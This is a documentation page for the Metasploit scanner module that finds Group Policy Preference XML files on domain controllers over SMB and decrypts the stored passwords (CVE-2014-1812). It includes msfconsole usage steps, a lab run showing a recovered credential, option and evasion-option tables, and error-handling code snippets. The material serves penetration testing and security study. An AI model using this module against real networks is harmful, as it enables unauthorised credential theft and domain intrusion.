SMB Group Policy Preference Saved Passwords Enumeration - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/smb/smb_enum_gpp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SMB Group Policy Preference Saved Passwords Enumeration
Module: auxiliary/scanner/smb/smb_enum_gpp
Source code: modules/auxiliary/scanner/smb/smb_enum_gpp.rb
Disclosure date: -
Last modification time: 2021-08-17 22:10:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2014-1812
This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft's public AES key. This module has been tested successfully on a Win2k8 R2 Domain Controller.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/smb/smb_enum_gpp
msf auxiliary(smb_enum_gpp) > show options
... show and set options ...
msf auxiliary(smb_enum_gpp) > set RHOSTS ip-range
msf auxiliary(smb_enum_gpp) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(smb_enum_gpp) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(smb_enum_gpp) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(smb_enum_gpp) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft's public AES key. This module has been tested successfully on a Win2k8 R2 Domain Controller.
Test Environment
This vulnerability was patched in 2014 but Group Policy Prefence files can still be found in modern environments. Because of that it is necessary to have a means to test this vulnerability in a contrived way.
Starting from a Windows Server that has been configured as an Active Directory Domain Controller:
1. Navigate to: %SystemRoot%\SYSVOL\sysvol\$domain\Policies where $domain is the name of the domain.
1. Create a subfolder. These folders typically use UUIDs within braces (e.g. {31B2F340-016D-11D2-945F-00C04FB984F9}) but the name does not
matter for testing purposes.
1. In the new a new file (and the necessary parent folders) MACHINE\Preferences\Groups\Groups.xml.
1. Place the contents below in the new Groups.xml file.
<xml version="1.0" encoding="utf-8"?>
This example XML data was taken from the unit test.
Verification Steps
Example steps in this format (is also in the PR):
- Start msfconsole
- Do:
use auxiliary/scanner/smb/smb_enum_gpp - Do:
set RHOSTS ... - Do:
set SMBUser ... - Do:
set SMBPass ... - Do:
run
Windows Server 2019 (Test Setup)
The following example use the contrived setup from the "Test Environment" section.
msf6 auxiliary(scanner/smb/smb_enum_gpp) > use auxiliary/scanner/smb/smb_enum_gpp
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBUSER smcintyre
SMBUSER => smcintyre
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(scanner/smb/smb_enum_gpp) > run
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Mounting the remote share \\192.168.159.10\SYSVOL'...
[+] 192.168.159.10:445 - Found Policy Share on 192.168.159.10
[*] 192.168.159.10:445 - Parsing file: \\192.168.159.10\SYSVOL\msflab.local\Policies\fake\MACHINE\Preferences\Groups\Groups.xml
[+] 192.168.159.10:445 - Group Policy Credential Info
============================
Name Value
---- -----
TYPE Groups.xml
USERNAME SuperSecretBackdoor
PASSWORD Super!!!Password
DOMAIN CONTROLLER 192.168.159.10
DOMAIN msflab.local
CHANGED 2013-04-25 18:36:07
NEVER_EXPIRES? 1
DISABLED 0
[+] 192.168.159.10:445 - XML file saved to: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_microsoft.window_053830.txt
[+] 192.168.159.10:445 - Groups.xml saved as: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_smb.shares.file_279441.xml
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_enum_gpp) >
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Msfconsole Usage
Here is how the scanner/smb/smb_enum_gpp auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/smb/smb_enum_gpp
msf6 auxiliary(scanner/smb/smb_enum_gpp) > show info
Name: SMB Group Policy Preference Saved Passwords Enumeration
Module: auxiliary/scanner/smb/smb_enum_gpp
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Joshua D. Abraham <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE SYSVOL yes The name of the share on the server
SMBUser no The username to authenticate as
STORE true yes Store the enumerated files in loot.
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
This module enumerates files from target domain controllers and
connects to them via SMB. It then looks for Group Policy Preference
XML files containing local/domain user accounts and passwords and
decrypts them using Microsoft's public AES key. This module has been
tested successfully on a Win2k8 R2 Domain Controller.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-1812
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/MS14-025
http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/
Module Options
This is a complete list of options available in the scanner/smb/smb_enum_gpp auxiliary module:
msf6 auxiliary(scanner/smb/smb_enum_gpp) > show options
Module options (auxiliary/scanner/smb/smb_enum_gpp):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE SYSVOL yes The name of the share on the server
SMBUser no The username to authenticate as
STORE true yes Store the enumerated files in loot.
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/smb/smb_enum_gpp auxiliary module:
msf6 auxiliary(scanner/smb/smb_enum_gpp) > show advanced
Module advanced options (auxiliary/scanner/smb/smb_enum_gpp):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SMB::AlwaysEncrypt true yes Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
SMB::ChunkSize 500 yes The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM Windows 2000 5.0 yes The Native LM to send during authentication
SMB::Native_OS Windows 2000 2195 yes The Native OS to send during authentication
SMB::ProtocolVersion 1,2,3 yes One or a list of coma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1")
SMB::VerifySignature false yes Enforces client-side verification of server response signatures
SMBDirect true no The target port is a raw SMB service (not NetBIOS)
SMBName *SMBSERVER yes The NetBIOS hostname (required for port 139 connections)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/smb/smb_enum_gpp module can do:
msf6 auxiliary(scanner/smb/smb_enum_gpp) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/smb/smb_enum_gpp auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/smb/smb_enum_gpp) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
SMB::obscure_trans_pipe_level 0 yes Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level 0 yes Place extra padding between headers and data (level 0-3)
SMB::pad_file_level 0 yes Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion false yes Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size 1024 yes Maximum buffer size for pipe reads
SMB::pipe_read_min_size 1 yes Minimum buffer size for pipe reads
SMB::pipe_write_max_size 1024 yes Maximum buffer size for pipe writes
SMB::pipe_write_min_size 1 yes Minimum buffer size for pipe writes
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Object \<IP><SMBSHARE><PATH> NOT found!
- Object PATH \<IP><SMBSHARE><PATH> NOT found!
- Host reports access denied.
- Host is NOT connected to <SMBDOMAIN>!
- Host rejected with insufficient resources!
- opening <PATH.INSPECT> bad filename
- Server responded unexpected status code: <E.STATUS_CODE.NAME.INSPECT>
- Could not find the domain folder
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Object \\<IP>\<SMBSHARE>\<PATH> NOT found!
Here is a relevant code snippet related to the "Object \\<IP>\<SMBSHARE>\<PATH> NOT found!" error message:
54: rescue ::RubySMB::Error::UnexpectedStatusCode => e
55: case e.status_code.name
56: when 'STATUS_FILE_IS_A_DIRECTORY'
57: print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")
58: when 'STATUS_OBJECT_NAME_NOT_FOUND'
59: vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
60: when 'STATUS_OBJECT_PATH_NOT_FOUND'
61: vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
62: when 'STATUS_ACCESS_DENIED'
63: vprint_error("Host reports access denied.")
64: when 'STATUS_BAD_NETWORK_NAME'
Object PATH \\<IP>\<SMBSHARE>\<PATH> NOT found!
Here is a relevant code snippet related to the "Object PATH \\<IP>\<SMBSHARE>\<PATH> NOT found!" error message:
56: when 'STATUS_FILE_IS_A_DIRECTORY'
57: print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")
58: when 'STATUS_OBJECT_NAME_NOT_FOUND'
59: vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
60: when 'STATUS_OBJECT_PATH_NOT_FOUND'
61: vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
62: when 'STATUS_ACCESS_DENIED'
63: vprint_error("Host reports access denied.")
64: when 'STATUS_BAD_NETWORK_NAME'
65: vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
66: when 'STATUS_INSUFF_SERVER_RESOURCES'
Host reports access denied.
Here is a relevant code snippet related to the "Host reports access denied." error message:
58: when 'STATUS_OBJECT_NAME_NOT_FOUND'
59: vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
60: when 'STATUS_OBJECT_PATH_NOT_FOUND'
61: vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
62: when 'STATUS_ACCESS_DENIED'
63: vprint_error("Host reports access denied.")
64: when 'STATUS_BAD_NETWORK_NAME'
65: vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
66: when 'STATUS_INSUFF_SERVER_RESOURCES'
67: vprint_error("Host rejected with insufficient resources!")
68: when 'STATUS_OBJECT_NAME_INVALID'
Host is NOT connected to <SMBDOMAIN>!
Here is a relevant code snippet related to the "Host is NOT connected to <SMBDOMAIN>!" error message:
60: when 'STATUS_OBJECT_PATH_NOT_FOUND'
61: vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
62: when 'STATUS_ACCESS_DENIED'
63: vprint_error("Host reports access denied.")
64: when 'STATUS_BAD_NETWORK_NAME'
65: vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
66: when 'STATUS_INSUFF_SERVER_RESOURCES'
67: vprint_error("Host rejected with insufficient resources!")
68: when 'STATUS_OBJECT_NAME_INVALID'
69: vprint_error("opening #{path.inspect} bad filename")
70: else
Host rejected with insufficient resources!
Here is a relevant code snippet related to the "Host rejected with insufficient resources!" error message:
62: when 'STATUS_ACCESS_DENIED'
63: vprint_error("Host reports access denied.")
64: when 'STATUS_BAD_NETWORK_NAME'
65: vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
66: when 'STATUS_INSUFF_SERVER_RESOURCES'
67: vprint_error("Host rejected with insufficient resources!")
68: when 'STATUS_OBJECT_NAME_INVALID'
69: vprint_error("opening #{path.inspect} bad filename")
70: else
71: vprint_error("Server responded unexpected status code: #{e.status_code.name.inspect}")
72: end
opening <PATH.INSPECT> bad filename
Here is a relevant code snippet related to the "opening <PATH.INSPECT> bad filename" error message:
64: when 'STATUS_BAD_NETWORK_NAME'
65: vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
66: when 'STATUS_INSUFF_SERVER_RESOURCES'
67: vprint_error("Host rejected with insufficient resources!")
68: when 'STATUS_OBJECT_NAME_INVALID'
69: vprint_error("opening #{path.inspect} bad filename")
70: else
71: vprint_error("Server responded unexpected status code: #{e.status_code.name.inspect}")
72: end
73: ensure
74: fd.close unless fd.nil?
Server responded unexpected status code: <E.STATUS_CODE.NAME.INSPECT>
Here is a relevant code snippet related to the "Server responded unexpected status code: <E.STATUS_CODE.NAME.INSPECT>" error message:
66: when 'STATUS_INSUFF_SERVER_RESOURCES'
67: vprint_error("Host rejected with insufficient resources!")
68: when 'STATUS_OBJECT_NAME_INVALID'
69: vprint_error("opening #{path.inspect} bad filename")
70: else
71: vprint_error("Server responded unexpected status code: #{e.status_code.name.inspect}")
72: end
73: ensure
74: fd.close unless fd.nil?
75: end
76: end
Could not find the domain folder
Here is a relevant code snippet related to the "Could not find the domain folder" error message:
168: smb_login
169: print_status("Mounting the remote share \\\\#{ip}\\#{datastore['SMBSHARE']}'...")
170: tree = simple.client.tree_connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
171:
172: corp_domain = tree.list.map { |entry| entry.file_name.value.to_s.encode }.detect { |entry| entry != '.' && entry != '..' }
173: fail_with(Failure::NotFound, 'Could not find the domain folder') if corp_domain.nil?
174:
175: sub_folders = tree.list(directory: "#{corp_domain}\\Policies").map { |entry| entry.file_name.value.to_s.encode }
176:
177: gpp_locations = %w(
178: MACHINE\\Preferences\\Groups\\Groups.xml
Go back to menu.
Related Pull Requests
- #15570 Merged Pull Request: Fix smb enum gpp module
- #14696 Merged Pull Request: Zeitwerk rex folder
- #14068 Merged Pull Request: Update smb_enum_gpp to use RubySMB
- #13417 Merged Pull Request: SMBv3 integration with Framework
- #13540 Merged Pull Request: Change OptString of RPORT to OptPort
- #10612 Merged Pull Request: fix xml ctypes in store_loot
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6950 Merged Pull Request: Fix #6948, avoid printing rhost:rport twice when using Msf::Exploit::Remote::SMB::Client
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5380 Merged Pull Request: PageantJacker (POST Module)
- #5783 Merged Pull Request: SMB GPP AUX Enumeration
References
- CVE-2014-1812
- MS14-025
- http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
- http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
- http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
- https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/
See Also
Check also the following modules related to this module:
- auxiliary/scanner/smb/smb_enumshares
- auxiliary/scanner/smb/smb_enumusers
- auxiliary/scanner/smb/smb_enumusers_domain
- auxiliary/scanner/smb/smb_login
- auxiliary/scanner/smb/smb_lookupsid
- auxiliary/scanner/smb/smb_ms17_010
- auxiliary/scanner/smb/smb_uninit_cred
- auxiliary/scanner/smb/smb_version
- auxiliary/scanner/smb/impacket/dcomexec
- auxiliary/scanner/smb/impacket/secretsdump
- auxiliary/scanner/smb/impacket/wmiexec
- auxiliary/scanner/smb/pipe_auditor
- auxiliary/scanner/smb/pipe_dcerpc_auditor
- auxiliary/scanner/smb/psexec_loggedin_users
- auxiliary/dos/smb/smb_loris
- auxiliary/fuzzers/smb/smb_create_pipe
- auxiliary/fuzzers/smb/smb_create_pipe_corrupt
- auxiliary/fuzzers/smb/smb_negotiate_corrupt
- auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt
- auxiliary/fuzzers/smb/smb_tree_connect
- auxiliary/fuzzers/smb/smb_tree_connect_corrupt
- exploit/windows/smb/smb_delivery
- exploit/windows/smb/smb_doublepulsar_rce
- exploit/windows/smb/smb_relay
- exploit/windows/smb/smb_rras_erraticgopher
- exploit/windows/smb/smb_shadow
- post/linux/busybox/smb_share_root
- auxiliary/scanner/sap/sap_smb_relay
- post/windows/gather/credentials/gpp
Authors
- Joshua D. Abraham <jabra[at]praetorian.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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